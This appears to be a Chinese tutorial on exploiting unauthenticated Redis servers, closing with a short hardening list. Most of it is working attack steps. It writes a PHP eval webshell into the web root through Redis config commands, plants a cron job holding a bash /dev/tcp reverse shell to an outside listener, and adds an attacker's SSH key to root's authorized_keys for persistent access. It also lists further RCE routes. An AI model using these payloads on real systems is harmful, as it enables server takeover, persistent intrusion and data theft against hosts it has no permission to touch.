1 写入一句话木马
我们自己在服务器安装一个phpstudy,这样只用一行命令就能得到http的服务器
在客户端连接到服务器的redis数据库,指定写入的目录以及文件位置
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
flushall #清空redis
save #保存进磁盘,redis也会定时自动写入磁盘
往redis.php中写入一句话木马
set x "<?php @eval($_POST[du]); ?>"
然后可以用中国蚁剑控制服务器
要是没有监听80端口的HTTP Server或者找不到网站根路径用下面方法
2 定时任务shell反弹连接提权
反弹连接的情况:
1 我们要控制的主机在内网,只有局域网的私有ip,不能被外网直接连接
2 主机重启ip动态变化
3 配置了防火墙 不允许别人访问6379端口,只能单向访问
4 装有杀毒软件,如果写入一句木马就会被删除
反弹连接的实现:
控制机监听端口
常见建立反弹连接的方式
bash -i >& /dev/tcp/192.168.80.44/7777 0>&1
-i :打开交互式终端
打开一个交互式的bash终端,与远程机器建立一个socket连接,将标准错误输出合并到标准输出中,将标准输入重定向到标准输出中
流程
1监听端口
2 执行命令,或者上传payload访问,建立连接
3 结合文件上传漏洞或者写入文件:MySQL、Redis、CMS(有高权限的话可以向很多位置写入文件) 或者文件编辑命令:tee、test.py(把一个文件内容追加到另一个文件)
4 设置访问或者定时任务自动触发
Redis写入反弹连接任务
定时任务
cron表达式
cron文件存储路径
总结:先用用客户机对服务器监听,并且连接上服务器的redis,设置写入的路径和文件位置在定时任务/var/spool/cron中写入定时触发的反弹连接语句。dbfilename root设置为root用户的定时任务。
3 SSH Key免密登录维持权限
ssh-keygen #命令生成密钥
ssh-copy-id root@192.168.80.66 #向.66的服务器传输公钥,传输的公钥保存在.ssh/ authorized_keys文件中
ssh -i ./id_rsa root@192.168.80.66 #客户端在路径/root/.ssh下使用命令就可控制.66服务器
流程
1 控制机连接到redis修改配置写入公钥
redis-cli -h 192.168.80.66 -p 6379
192.168.80.66:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPUrzuliVCRTvbbvozJkPtK0coFbxxjPwvEmtoJuKcZLudWH7qQg9ST4W9XG5lPhULGOsi47r7/3t8UDdFjhChzlOULfaVVUnP3dd4YmwDdhSKyjxwRnHxgJWdTKxuUljBMwNjx8HP8g3l+wPXulxaqnIb4+V2iNoeRMwGKOXvNuhW0KzluxkhRl6mGfKscC2CbL7dsH6iQHrM6YOo5TiKtGw1X7Z5SdkJVpd+reX0LdG+2c7uVbxDcibxBkmmnDVLy+AX+37PjisPUDJJ8lzlaXCcUMpSp1/ewJqg82O/h9FQp9EqzqS8I7HWBii+Eyg6qtQeLldhxLKI3lhYtE8z root@localhost.localdomain\n\n\n" #写入生成的公钥192.168.80.66:6379> config set dir /root/.ssh
OK
192.168.80.66:6379> config set dbfilename authorized_keys
OK
192.168.80.66:6379> save
OK
2 ssh -i ./id_rsa user@ip 使用私钥免密登录
3 执行后续操作
Redis其他提权利用方式
基于主从复制的RCE(Remote Code Execution)
jackson反序列化利用
lua RCE
Redis密码爆破
Redis加固方案
1 限制访问ip
2 修改默认端口
3 使用密码访问
4 不要用root运行Redis